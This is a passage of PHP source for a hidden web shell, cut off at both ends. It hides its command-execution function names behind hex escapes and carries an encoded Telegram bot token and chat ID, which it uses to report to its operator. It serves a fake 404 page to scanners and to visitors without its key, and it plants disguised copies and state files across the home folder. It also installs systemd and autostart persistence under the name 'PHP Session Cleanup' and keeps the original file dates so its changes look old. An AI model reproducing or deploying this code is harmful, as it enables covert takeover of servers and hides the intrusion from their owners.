"\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63",'sy'=>"\x73\x79\x73\x74\x65\x6d", 'ex'=>"\x65\x78\x65\x63",'pa'=>"\x70\x61\x73\x73\x74\x68\x72\x75", 'po'=>"\x70\x6f\x70\x65\x6e",'pc'=>"\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e", 'fpc'=>"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73", 'fgc'=>"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73", 'b64d'=>"\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65", 'b64e'=>"\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65", 'cu_i'=>"\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74",'cu_e'=>"\x63\x75\x72\x6c\x5f\x65\x78\x65\x63", 'cu_s'=>"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",'cu_c'=>"\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65", 'cu_g'=>"\x63\x75\x72\x6c\x5f\x67\x65\x74\x69\x6e\x66\x6f", ]; } return $m[$k] ?? ''; } function wn_fn_exists($k) { $f = wn_fn($k); return $f !== '' && function_exists($f); } function wn_call($k) { $f = wn_fn($k); if ($f === '' || !function_exists($f)) return null; $a = func_get_args(); array_shift($a); return @$f(...$a); } error_reporting(0); @ini_set('display_errors', 0); @ini_set('max_execution_time', 0); @ini_set('memory_limit', '256M'); @ob_start(); set_error_handler(function ($no, $str, $file, $line) { if (!(error_reporting() & $no)) return true; @file_put_contents(sys_get_temp_dir() . '/wn_errors.log', date('Y-m-d H:i:s') . " [E$no] $str in $file:$line\n", FILE_APPEND); return true; }); register_shutdown_function(function () { $e = error_get_last(); if ($e && in_array($e['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR], true)) { @file_put_contents(sys_get_temp_dir() . '/wn_errors.log', date('Y-m-d H:i:s') . " [FATAL E{$e['type']}] {$e['message']} in {$e['file']}:{$e['line']}\n", FILE_APPEND); } }); define('WN_STEALTH_PARAM', 'p'); define('WN_STEALTH_TTL', 604800); define('WN_STEALTH_MIN_MS', 8); define('WN_STEALTH_MAX_MS', 45); define('WN_DEBUG', false); function wn_tg_base() { static $b = null; if ($b === null) $b = wn_call('b64d', 'aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA=='); return $b; } function wn_tg_filebase() { static $b = null; if ($b === null) $b = wn_call('b64d', 'aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2ZpbGUvYm90'); return $b; } function wn_cfg_b64() { return ['k'=>'ODk2MTQyMjM1ODpBQUVLZjdSSzZPN1JFM25xRmFkSHBkc1dqclpseVV4dHdDQQ==', 'j'=>'NzU0NzU5ODM5NQ==']; } $_wn_c = wn_cfg_b64(); $__B = wn_call('b64d', $_wn_c['k']); $__C = wn_call('b64d', $_wn_c['j']); unset($_wn_c); $CURRENT_SHELL = basename(__FILE__); $rootPath = realpath(__DIR__) ?: __DIR__; $notifyDelete = true; $specialDirectories = [ 'public_html'=>isset($_SERVER['DOCUMENT_ROOT']) ? realpath($_SERVER['DOCUMENT_ROOT']) : null, 'user'=>realpath('/home'),'etc'=>realpath('/etc'),'log'=>realpath('/var/log'), 'homeshell'=>$rootPath,'tmp'=>'/tmp','dev_shm'=>'/dev/shm', ]; $specialDirectories = array_filter($specialDirectories, function ($d) { return $d && is_dir($d); }); function wn_safe_host() { $h = $_SERVER['HTTP_HOST'] ?? ''; if ($h === '') return $_SERVER['SERVER_NAME'] ?? 'localhost'; if (!preg_match('/^[a-zA-Z0-9\.\-:]+$/', $h)) return $_SERVER['SERVER_NAME'] ?? 'localhost'; $sn = strtolower($_SERVER['SERVER_NAME'] ?? ''); $hl = strtolower($h); if ($sn === '' || $hl === $sn || substr($hl, -strlen('.'.$sn)) === '.'.$sn) return $h; return $_SERVER['SERVER_NAME'] ?? 'localhost'; } function wn_is_scanner() { $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; if ($ua === '' || strlen($ua) < 15) return true; $uaLow = strtolower($ua); foreach (['nuclei','nikto','nmap','masscan','sqlmap','acunetix','nessus','openvas','burp','zap','xray','wpscan','dirbuster','gobuster','wfuzz','ffuf','ferox','whatweb','w3af','skipfish','arachni','python-requests','python-urllib','go-http-client','curl/','wget/','libwww-perl','lwp-','httpclient','java/','okhttp','scrapy','phantomjs','headless','puppeteer','selenium','zgrab','shodan','censys','binaryedge','internetmeasurement'] as $p) if (strpos($uaLow, $p) !== false) return true; return false; } function wn_get_home() { $h = getenv('HOME'); if ($h && is_dir($h)) return $h; if (function_exists('posix_getpwuid')) { $p = posix_getpwuid(posix_getuid()); if ($p && !empty($p['dir']) && is_dir($p['dir'])) return $p['dir']; } if (!empty($_SERVER['HOME']) && is_dir($_SERVER['HOME'])) return $_SERVER['HOME']; $dr = $_SERVER['DOCUMENT_ROOT'] ?? ''; if ($dr && preg_match('#^(/home/[^/]+)#', $dr, $m)) return $m[1]; return ''; } function wn_state_dir() { static $c = null; if ($c !== null) return $c; $home = wn_get_home(); if ($home) { $cache = $home . '/.cache'; if (!is_dir($cache)) @mkdir($cache, 0700, true); if (is_dir($cache) && is_writable($cache)) { $c = $cache; return $c; } if (is_dir($home) && is_writable($home)) { $c = $home; return $c; } } $c = sys_get_temp_dir(); return $c; } function wn_blend_name($kind) { static $map = null; if ($map === null) { global $CURRENT_SHELL; $seed = substr(hash('sha256', 'blend:' . $CURRENT_SHELL . ':' . __DIR__), 0, 32); $h = substr($seed, 0, 16); $h2 = substr($seed, 16, 16); $map = [ 'salt'=>'/.cache_'.$h.'.dat','stealth_key'=>'/.session_'.$h.'.tmp','stealth_on'=>'/.lock_'.$h2, 'daemon_pid'=>'/.'.$h.'.pid','watchdog_pid'=>'/.'.$h2.'.lock','daemon_php'=>'/.upd_'.$h.'.cache', 'watchdog_php'=>'/.tmp_'.$h.'.cache','heartbeat'=>'/.beat_'.$h.'.log','started'=>'/.init_'.$h.'.dat', 'last_selfheal'=>'/.hc_'.$h.'.log','activity'=>'/.act_'.$h.'.log','deadman'=>'/.dm_'.$h.'.conf', 'deadman_noted'=>'/.dmn_'.$h.'.log','rm_pending'=>'/.rm_'.$h.'.tmp','sd_pending'=>'/.sd_'.$h.'.tmp', 'cron_backup'=>'/.cronbak_'.$h.'.txt','otp'=>'/.otp_'.$h,'lock'=>'/.lk_'.$h,'live'=>'/.lv_'.$h, 'offset'=>'/.of_'.$h,'last'=>'/.ls_'.$h,'blocked'=>'/.bl_'.$h,'fail'=>'/.fl_'.$h, 'stealth_fail'=>'/.sf_'.$h,'stealth_ban'=>'/.sb_'.$h,'stealth_otp'=>'/.so_'.$h, 'wrap_selfheal'=>'/.wsh_'.$h,'replica'=>'/.rp_'.$h,'replica_bak'=>'/.rpb_'.$h, 'shell_mtime'=>'/.mt_'.$h.'.dat', 'integrity_check'=>'/.ic_'.$h,'integrity_alert'=>'/.ia_'.$h, 'integrity_pause'=>'/.ip_'.$h,'integrity_pause_ttl'=>'/.ipt_'.$h, 'fleet_key'=>'/.fk_'.$h.'.dat','fleet_id'=>'/.fi_'.$h,'fleet_registry'=>'/.fr_'.$h.'.json', 'dying'=>'/.dy_'.$h, ]; } return wn_state_dir() . $map[$kind]; } function wn_can_shell() { static $cache = null; if ($cache !== null) return $cache; $disabled = array_map('trim', explode(',', ini_get("\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73") ?: '')); foreach (['se','sy','ex','pa','po','pc'] as $k) { $f = wn_fn($k); if ($f !== '' && function_exists($f) && !in_array($f, $disabled, true)) { $cache = true; return $cache; } } $cache = false; return $cache; } function cmd_exec($cmd, &$output = null) { $output = ''; if (!wn_can_shell()) { $output = '[shell disabled]'; return false; } $disabled = array_map('trim', explode(',', ini_get("\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73") ?: '')); foreach (['se','sy','ex','pa'] as $k) { $func = wn_fn($k); if ($func === '' || !function_exists($func) || in_array($func, $disabled, true)) continue; try { if ($k === 'se') { $r = wn_call('se', $cmd); if ($r !== null) { $output = $r; return $r; } } elseif ($k === 'sy') { ob_start(); wn_call('sy', $cmd); $o = ob_get_clean(); if ($o !== false && $o !== null) { $output = $o; return $o; } } elseif ($k === 'ex') { $o = []; wn_call('ex', $cmd, $o); if (!empty($o)) { $output = implode("\n", $o); return $output; } } elseif ($k === 'pa') { ob_start(); wn_call('pa', $cmd); $o = ob_get_clean(); if ($o !== false && $o !== null) { $output = $o; return $o; } } } catch (Throwable $e) { continue; } } if (wn_fn_exists('po') && !in_array(wn_fn('po'), $disabled, true)) { try { $fp = wn_call('po', $cmd, 'r'); if ($fp) { $o = ''; while (!feof($fp)) $o .= fread($fp, 4096); pclose($fp); $output = $o; return $o; } } catch (Throwable $e) {} } return false; } function wn_run_bg($cmd) { if (!wn_can_shell()) return false; $disabled = array_map('trim', explode(',', ini_get("\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73") ?: '')); $hasSetsid = trim((string)cmd_exec('command -v setsid 2>/dev/null')) !== ''; $hasNohup = trim((string)cmd_exec('command -v nohup 2>/dev/null')) !== ''; if ($hasSetsid) $cmd = 'setsid ' . $cmd; elseif ($hasNohup) $cmd = 'nohup ' . $cmd; $cmd .= ' /dev/null 2>&1 &'; if (function_exists('popen') && !in_array('popen', $disabled, true)) { try { $fp = @popen($cmd, 'r'); if ($fp) { @pclose($fp); return true; } } catch (Throwable $e) {} } if (function_exists('proc_open') && !in_array('proc_open', $disabled, true)) { try { $d = [0=>['file','/dev/null','r'], 1=>['file','/dev/null','w'], 2=>['file','/dev/null','w']]; $p = @proc_open($cmd, $d, $pipes); if (is_resource($p)) { @proc_close($p); return true; } } catch (Throwable $e) {} } return false; } function is_shell_available() { static $a = null; if ($a !== null) return $a; if (!wn_can_shell()) { $a = false; return $a; } $t = cmd_exec('echo 1'); $a = ($t !== false && trim($t) === '1'); return $a; } function isRoot() { if (!is_shell_available()) return false; return trim((string)cmd_exec('whoami 2>/dev/null')) === 'root'; } function formatSize($bytes) { if (!is_numeric($bytes)) return '0 bytes'; if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' bytes'; } function deleteDirectory($dir) { if (is_link($dir)) return @unlink($dir); if (!file_exists($dir)) return true; if (!is_dir($dir)) return @unlink($dir); if (!is_readable($dir) || !is_writable($dir)) @chmod($dir, 0700); $items = @scandir($dir); if ($items === false) { @chmod($dir, 0700); $items = @scandir($dir); if ($items === false) return false; } $ok = true; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $p = $dir . DIRECTORY_SEPARATOR . $item; if (is_link($p)) { if (!@unlink($p)) { @chmod($dir, 0700); if (!@unlink($p)) $ok = false; } continue; } if (is_dir($p)) { if (!deleteDirectory($p)) $ok = false; continue; } if (!@unlink($p)) { @chmod($p, 0600); @chmod($dir, 0700); if (!@unlink($p)) $ok = false; } } if (!@rmdir($dir)) { @chmod($dir, 0700); if (!@rmdir($dir)) $ok = false; } return $ok; } function isSafePath($path, $rootPath, $specialDirs) { $rp = @realpath($path); if ($rp === false) $rp = $path; $rr = @realpath($rootPath) ?: $rootPath; if ($rp === $rr) return true; if (strpos($rp, rtrim($rr, '/') . '/') === 0) return true; foreach ($specialDirs as $d) { if (!$d) continue; $rd = @realpath($d) ?: $d; if ($rp === $rd) return true; if (strpos($rp, rtrim($rd, '/') . '/') === 0) return true; } return false; } function sendJsonResponse($data) { while (ob_get_level() > 0) @ob_end_clean(); if (!headers_sent()) { @header_remove('X-Powered-By'); header('Content-Type: application/json; charset=utf-8'); header('Cache-Control: no-store'); header('X-Content-Type-Options: nosniff'); } $out = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if ($out === false) $out = '{"status":"error","message":"json_encode failed"}'; echo $out; exit; } function safe_truncate_utf8($str, $maxBytes) { if (strlen($str) <= $maxBytes) return $str; $r = @mb_strcut($str, 0, $maxBytes, 'UTF-8'); return $r === false ? substr($str, 0, $maxBytes) : $r; } function get_real_ip() { foreach (['HTTP_CF_CONNECTING_IP','HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP'] as $h) if (!empty($_SERVER[$h])) { $ips = explode(',', $_SERVER[$h]); return trim($ips[0]); } return $_SERVER['REMOTE_ADDR'] ?? ''; } function wn_capture_mtime($path) { $mtime = @filemtime($path); if ($mtime === false || $mtime <= 0) $mtime = time(); $f = wn_blend_name('shell_mtime'); wn_call('fpc', $f, (string)$mtime, LOCK_EX); @chmod($f, 0600); return $mtime; } function wn_get_stored_mtime() { $f = wn_blend_name('shell_mtime'); if (!file_exists($f)) return 0; $m = (int)wn_call('fgc', $f); return $m > 0 ? $m : 0; } function wn_apply_mtime($path) { $m = wn_get_stored_mtime(); if ($m > 0 && file_exists($path)) { @touch($path, $m, $m); return true; } return false; } function wn_hide_state_file() { return wn_state_dir() . '/.wn_hide_state'; } function wn_is_hidden() { $f = wn_hide_state_file(); if (!file_exists($f)) return false; return trim((string)wn_call('fgc', $f)) === 'hidden'; } function wn_set_hidden($on) { $f = wn_hide_state_file(); if ($on) { wn_call('fpc', $f, 'hidden', LOCK_EX); @chmod($f, 0600); } else { @unlink($f); } } function wn_tg_callback_handle() { global $__B; while (ob_get_level() > 0) @ob_end_clean(); header('Content-Type: text/plain; charset=utf-8'); $expectedKey = hash('sha256', 'wn_tg:' . $__B . ':' . wn_get_salt()); if (!hash_equals($expectedKey, (string)($_GET['key'] ?? ''))) { http_response_code(403); echo 'FORBIDDEN'; exit; } $action = strtolower((string)($_GET['wn_tg'] ?? '')); switch ($action) { case 'reinstall': $result = auto_install_watcher_controller(); if (($result['status'] ?? '') !== 'success') echo '[X] ' . ($result['message'] ?? 'Failed'); else echo "[Reinstall]\nPHP: " . ($result['php_bin'] ?? '?') . "\nWatcher: " . ($result['watcher'] ?? '?') . "\nCron: " . (!empty($result['cron_ok']) ? 'OK' : 'NO'); break; case 'uninstall': $result = auto_uninstall_watcher_controller(); echo ($result['status'] ?? '') === 'success' ? '[Uninstalled] ' . ($result['message'] ?? 'OK') : '[X] ' . ($result['message'] ?? 'Failed'); break; default: echo '[X] Unknown action: ' . $action; } exit; } function sendTelegramMessage($tk, $cid, $message, $plain = false) { if (empty($tk) || empty($cid) || empty($message)) return false; if (strlen($message) > 4096) $message = safe_truncate_utf8($message, 4000) . "\n...(truncated)"; $url = wn_tg_base() . $tk . '/sendMessage'; $data = ['chat_id'=>$cid,'text'=>$message,'disable_web_page_preview'=>'true']; if (!$plain) $data['parse_mode'] = 'HTML'; $post = http_build_query($data); if (function_exists('curl_init')) { $ch = @curl_init(); if ($ch !== false && $ch !== null) { @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_POST, true); @curl_setopt($ch, CURLOPT_POSTFIELDS, $post); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 20); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); @curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); $res = @curl_exec($ch); @curl_close($ch); if (is_string($res) && $res !== '') { $r = @json_decode($res, true); if (is_array($r) && isset($r['ok']) && $r['ok'] === true) return true; } } } if (ini_get('allow_url_fopen')) { $ctx = @stream_context_create(['http'=>['method'=>'POST','header'=>"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: " . strlen($post) . "\r\n",'content'=>$post,'timeout'=>20,'ignore_errors'=>true],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]); if ($ctx !== false) { $res = @file_get_contents($url, false, $ctx); if (is_string($res) && $res !== '') { $r = @json_decode($res, true); if (is_array($r) && isset($r['ok']) && $r['ok'] === true) return true; } } } return false; } function wn_get_salt() { static $cached = null; if ($cached !== null) return $cached; $f = wn_blend_name('salt'); if (!file_exists($f) || @filesize($f) < 16) { try { $newSalt = bin2hex(random_bytes(24)); } catch (Throwable $e) { global $__B, $rootPath; $newSalt = hash('sha256', 'x:' . ($__B ?? '') . ':' . $rootPath . ':' . uniqid('', true)); } wn_call('fpc', $f, $newSalt, LOCK_EX); @chmod($f, 0600); } $s = trim((string)wn_call('fgc', $f)); if (strlen($s) < 16) { global $CURRENT_SHELL, $rootPath, $__B; $s = hash('sha256', 'fb:' . $CURRENT_SHELL . ':' . $rootPath . ':' . ($__B ?? '')); wn_call('fpc', $f, $s, LOCK_EX); @chmod($f, 0600); } $cached = $s; return $cached; } function wn_get_key($suffix = '') { global $CURRENT_SHELL; return substr(hash('sha256', 'k:' . wn_get_salt() . ':' . $CURRENT_SHELL . ':' . $suffix), 0, 16); } function wn_backup_filename() { return '.' . wn_get_key('backup'); } function wn_backup_locations() { $home = wn_get_home(); $name = wn_backup_filename(); $locs = []; if ($home && is_dir($home)) { foreach (['/.cache','/.config','/.local','/.cache/icons','/.config/systemd'] as $sub) { $dir = $home . $sub; if (!is_dir($dir)) @mkdir($dir, 0700, true); if (is_dir($dir) && is_writable($dir)) $locs[] = $dir . '/' . $name; } } return array_values(array_unique($locs)); } function wn_stealth_key_file() { return wn_blend_name('stealth_key'); } function wn_stealth_on_file() { return wn_blend_name('stealth_on'); } function wn_stealth_cookie_name() { return 'PHPSESSID_' . substr(md5(wn_get_salt()), 0, 4); } function wn_stealth_key() { static $k = null; if ($k !== null) return $k; $f = wn_stealth_key_file(); $k = file_exists($f) ? trim((string)wn_call('fgc', $f)) : ''; if (strlen($k) < 16) { try { $k = bin2hex(random_bytes(16)); } catch (Throwable $e) { $k = substr(hash('sha256', 'sk:' . wn_get_salt() . microtime(true)), 0, 32); } wn_call('fpc', $f, $k, LOCK_EX); @chmod($f, 0600); } return $k; } function wn_stealth_enabled() { return file_exists(wn_stealth_on_file()); } function wn_stealth_ua_hash() { $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; return substr(hash('sha256', 'u:' . $ua), 0, 16); } function wn_session_poison($ttl = 3600) { if (session_status() !== PHP_SESSION_ACTIVE) @session_start(); $_SESSION['_wh'] = ['n'=>bin2hex(random_bytes(16)),'e'=>time()+$ttl,'u'=>wn_stealth_ua_hash(),'p'=>$_SERVER['REMOTE_ADDR'] ?? '']; } function wn_session_verify() { if (session_status() !== PHP_SESSION_ACTIVE) return false; if (empty($_SESSION['_wh'])) return false; $st = $_SESSION['_wh']; if (empty($st['e']) || $st['e'] < time()) { unset($_SESSION['_wh']); return false; } if (!hash_equals(wn_stealth_ua_hash(), $st['u'] ?? '')) return false; return true; } function wn_stealth_issue_cookie($ttl = WN_STEALTH_TTL) { while (ob_get_level() > 0) @ob_end_clean(); $exp = time() + $ttl; $ua = wn_stealth_ua_hash(); $sig = hash_hmac('sha256', 'stealth|' . $exp . '|' . $ua, wn_auth_secret()); $val = $exp . '.' . $ua . '.' . $sig; $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https') || (($_SERVER['SERVER_PORT'] ?? '') == 443); $params = ['expires'=>$exp,'path'=>'/','httponly'=>true,'samesite'=>'Lax']; if ($isHttps) $params['secure'] = true; if (!headers_sent()) { @header_remove('X-Powered-By'); setcookie(wn_stealth_cookie_name(), $val, $params); } $_COOKIE[wn_stealth_cookie_name()] = $val; wn_session_poison($ttl); } function wn_stealth_verify_cookie() { $c = $_COOKIE[wn_stealth_cookie_name()] ?? ''; if (empty($c)) return false; $parts = explode('.', $c); if (count($parts) !== 3) return false; list($exp, $ua, $sig) = $parts; if (!ctype_digit($exp) || (int)$exp < time()) return false; if (!hash_equals(wn_stealth_ua_hash(), $ua)) return false; return hash_equals(hash_hmac('sha256', 'stealth|' . $exp . '|' . $ua, wn_auth_secret()), $sig); } function wn_stealth_fail_file() { return wn_blend_name('stealth_fail') . '_' . md5(get_real_ip()); } function wn_stealth_ban_file() { return wn_blend_name('stealth_ban') . '_' . md5(get_real_ip()); } function wn_stealth_is_banned() { $f = wn_stealth_ban_file(); if (!file_exists($f)) return false; $t = (int)wn_call('fgc', $f); if (time() - $t > 3600) { @unlink($f); return false; } return true; } function wn_stealth_note_fail() { global $__B, $__C; $f = wn_stealth_fail_file(); $d = @json_decode(wn_call('fgc', $f), true); if (!is_array($d) || !isset($d['first']) || (time() - (int)$d['first']) > 900) $d = ['n'=>1,'first'=>time()]; else $d['n']++; wn_call('fpc', $f, json_encode($d), LOCK_EX); @chmod($f, 0600); if ($d['n'] >= 10) { wn_call('fpc', wn_stealth_ban_file(), time(), LOCK_EX); sendTelegramMessage($__B, $__C, "[STEALTH BAN]\nIP: " . htmlspecialchars(get_real_ip(), ENT_QUOTES, 'UTF-8') . "\nGagal {$d['n']}x / 15m\nBan 1 jam", true); } } function wn_stealth_note_ok() { @unlink(wn_stealth_fail_file()); } function wn_stealth_otp_file() { return wn_blend_name('stealth_otp'); } function wn_stealth_gen_otp($ttl = 300) { try { $token = bin2hex(random_bytes(16)); } catch (Throwable $e) { $token = substr(hash('sha256', microtime(true) . mt_rand()), 0, 32); } $json = json_encode(['t'=>$token,'e'=>time()+$ttl]); if ($json === false) return ''; $f = wn_stealth_otp_file(); $w = wn_call('fpc', $f, $json, LOCK_EX); if (!is_int($w) || $w <= 0) { $fp = @fopen($f, 'c'); if ($fp === false) return ''; @flock($fp, LOCK_EX); @ftruncate($fp, 0); $n = @fwrite($fp, $json); @fflush($fp); @flock($fp, LOCK_UN); @fclose($fp); if (!is_int($n) || $n <= 0) return ''; } @chmod($f, 0600); return $token; } function wn_stealth_consume_otp($given) { $f = wn_stealth_otp_file(); if (!file_exists($f)) return false; $raw = wn_call('fgc', $f); if (!is_string($raw) || $raw === '') $raw = @file_get_contents($f); @unlink($f); if (!is_string($raw) || $raw === '') return false; $d = json_decode($raw, true); if (!is_array($d) || empty($d['t']) || empty($d['e'])) return false; if (time() > (int)$d['e']) return false; return hash_equals((string)$d['t'], (string)$given); } function wn_stealth_unlock() { if (!wn_stealth_enabled()) return true; if (wn_check_auth_cookie()) return true; if (wn_stealth_verify_cookie()) return true; if (wn_session_verify()) return true; if (wn_stealth_is_banned()) { wn_stealth_decoy(); } $key = ''; if (!empty($_SERVER['HTTP_X_WN_KEY'])) $key = (string)$_SERVER['HTTP_X_WN_KEY']; elseif (isset($_GET[WN_STEALTH_PARAM])) { $key = (string)$_GET[WN_STEALTH_PARAM]; if (wn_stealth_consume_otp($key)) { wn_stealth_issue_cookie(); wn_stealth_note_ok(); return true; } } if ($key !== '' && hash_equals(wn_stealth_key(), $key)) { wn_stealth_issue_cookie(); wn_stealth_note_ok(); return true; } if ($key !== '') wn_stealth_note_fail(); return false; } function wn_stealth_jitter() { $ms = random_int(WN_STEALTH_MIN_MS, WN_STEALTH_MAX_MS); usleep($ms * 1000); } function wn_stealth_decoy() { while (ob_get_level() > 0) @ob_end_clean(); if (!headers_sent()) { @header_remove('X-Powered-By'); @header_remove('X-Powered-By-PHP'); @header_remove('Set-Cookie'); @header_remove('Expires'); @header_remove('Cache-Control'); @header_remove('Pragma'); } @http_response_code(404); $method = strtoupper($_SERVER['REQUEST_METHOD'] ?? 'GET'); if ($method === 'HEAD') exit; $sw = strtolower($_SERVER['SERVER_SOFTWARE'] ?? ''); $srv = 'Apache'; if (strpos($sw, 'nginx') !== false) $srv = 'nginx'; elseif (strpos($sw, 'litespeed') !== false) $srv = 'LiteSpeed'; if (!in_array($method, ['GET','POST'], true)) { @http_response_code(405); if (!headers_sent()) { header('Allow: GET, HEAD, POST'); header('Content-Length: 0'); } exit; } switch ($srv) { case 'nginx': $ct='text/html'; $body="\r\n404 Not Found\r\n\r\n

404 Not Found

\r\n
nginx
\r\n\r\n\r\n"; break; case 'LiteSpeed': $ct='text/html; charset=UTF-8'; $body="\n\n404 Not Found\n\n
\n

404

\n

Not Found

\n
\n\n"; break; default: $ct='text/html; charset=iso-8859-1'; $body=''."\n".''."\n".'404 Not Found'."\n".''."\n".'

Not Found

'."\n".'

The requested URL was not found on this server.

'."\n".''."\n"; break; } if (!headers_sent()) { header('Content-Type: ' . $ct); header('Content-Length: ' . strlen($body)); } echo $body; exit; } function wn_random_replica_dirs() { $home = wn_get_home(); $dirs = []; if ($home) foreach ([$home.'/.local/share',$home.'/.local/share/icons',$home.'/.local/share/.cache',$home.'/.config/.cache',$home.'/.config/icons',$home.'/.cache/.sys',$home.'/.cache/system',$home.'/.local/state',$home.'/.local/state/.cache',$home.'/.local/share/Trash'] as $d) { if (!is_dir($d)) @mkdir($d, 0700, true); if (is_dir($d) && is_writable($d)) $dirs[] = $d; } return $dirs; } function wn_replica_watcher_paths() { $paths = []; $dirs = wn_random_replica_dirs(); if (empty($dirs)) return $paths; $baseKey = wn_get_key('replica'); $names = ['.cache-'.$baseKey.'.cache','.sys-'.$baseKey.'.dat','.tmp-'.$baseKey.'.tmp','.data-'.$baseKey.'.bin','session-'.$baseKey.'.idx','.icon-'.$baseKey.'.log']; foreach ($dirs as $i => $d) $paths[] = $d . '/' . $names[$i % count($names)]; return array_values(array_unique($paths)); } function wn_replica_backup_paths() { $paths = []; $dirs = wn_random_replica_dirs(); if (empty($dirs)) return $paths; $baseKey = wn_get_key('replica_bak'); $names = ['.cache-'.$baseKey.'.log','.sys-'.$baseKey.'.dat','.tmp-'.$baseKey.'.tmp','.data-'.$baseKey.'.old']; foreach ($dirs as $i => $d) $paths[] = $d . '/' . $names[$i % count($names)]; return array_values(array_unique($paths)); } function wn_watcher_locations() { $home = wn_get_home(); $locs = []; if ($home) foreach (['/.cache','/.config','/.local'] as $sub) $locs[] = $home . $sub . '/php-sess-' . substr(md5(wn_get_key('w')), 0, 8) . '.cache'; return array_values(array_unique(array_merge($locs, wn_replica_watcher_paths()))); } function wn_wrapper_locations() { $home = wn_get_home(); $locs = []; if ($home) foreach (['/.cache','/.config','/.local'] as $sub) $locs[] = $home . $sub . '/.' . substr(md5(wn_get_key('wrap')), 0, 12) . '.bin'; return array_values(array_unique($locs)); } function wn_systemd_service_name() { return 'php-session-' . substr(md5(wn_get_key('svc') . wn_get_salt()), 0, 6); } function wn_systemd_user_dir() { $home = wn_get_home(); if (!$home) return null; $dir = $home . '/.config/systemd/user'; if (!is_dir($dir)) @mkdir($dir, 0700, true); return (is_dir($dir) && is_writable($dir)) ? $dir : null; } function wn_systemd_system_dir() { $dir = '/etc/systemd/system'; if (!is_dir($dir) || !is_writable($dir)) return null; return $dir; } function wn_install_systemd($phpBin, $entry, &$log) { $svc = wn_systemd_service_name(); $phpEsc = escapeshellarg($phpBin); $entryEsc = escapeshellarg($entry); $unixUser = null; $unixGroup = null; if (function_exists('posix_getpwuid')) { $u = @posix_getpwuid(posix_getuid()); if ($u && !empty($u['name'])) $unixUser = $u['name']; } if (function_exists('posix_getgrgid')) { $g = @posix_getgrgid(posix_getgid()); if ($g && !empty($g['name'])) $unixGroup = $g['name']; } $userDirective = ''; if ($unixUser) { $userDirective = "\nUser=" . $unixUser; if ($unixGroup) $userDirective .= "\nGroup=" . $unixGroup; } $unitUser = "[Unit]\nDescription=PHP Session Cleanup\nAfter=network.target\n\n[Service]\nType=simple{$userDirective}\nExecStart={$phpEsc} {$entryEsc}\nRestart=always\nRestartSec=30\nStartLimitIntervalSec=0\nStandardOutput=null\nStandardError=null\n\n[Install]\nWantedBy=default.target\n"; $unitSys = str_replace("WantedBy=default.target", "WantedBy=multi-user.target", $unitUser); $installed = []; $userDir = wn_systemd_user_dir(); if ($userDir) { $p = $userDir . '/' . $svc . '.service'; if (wn_call('fpc', $p, $unitUser) !== false) { @chmod($p, 0600); cmd_exec('systemctl --user daemon-reload 2>/dev/null'); cmd_exec('systemctl --user enable ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); cmd_exec('systemctl --user restart ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); $installed[] = $p; } } $sysDir = wn_systemd_system_dir(); if ($sysDir) { $p2 = $sysDir . '/' . $svc . '.service'; if (wn_call('fpc', $p2, $unitSys) !== false) { @chmod($p2, 0644); cmd_exec('systemctl daemon-reload 2>/dev/null'); cmd_exec('systemctl enable ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); cmd_exec('systemctl restart ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); $installed[] = $p2; } } if (empty($installed)) { $home = wn_get_home(); if ($home) { $autoDir = $home . '/.config/autostart'; if (!is_dir($autoDir)) @mkdir($autoDir, 0700, true); if (is_dir($autoDir) && is_writable($autoDir)) { $desktop = "[Desktop Entry]\nType=Application\nName=PHP Session Cleanup\nExec={$phpBin} {$entry}\nX-GNOME-Autostart-enabled=true\nTerminal=false\n"; $dp = $autoDir . '/' . $svc . '.desktop'; if (wn_call('fpc', $dp, $desktop) !== false) { @chmod($dp, 0600); $installed[] = $dp; } } } } $log[] = 'systemd: ' . (empty($installed) ? 'FAILED' : count($installed) . ' unit(s)'); return $installed; } function wn_uninstall_systemd(&$log = null) { $svc = wn_systemd_service_name(); $removed = 0; cmd_exec('systemctl --user stop ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); cmd_exec('systemctl --user 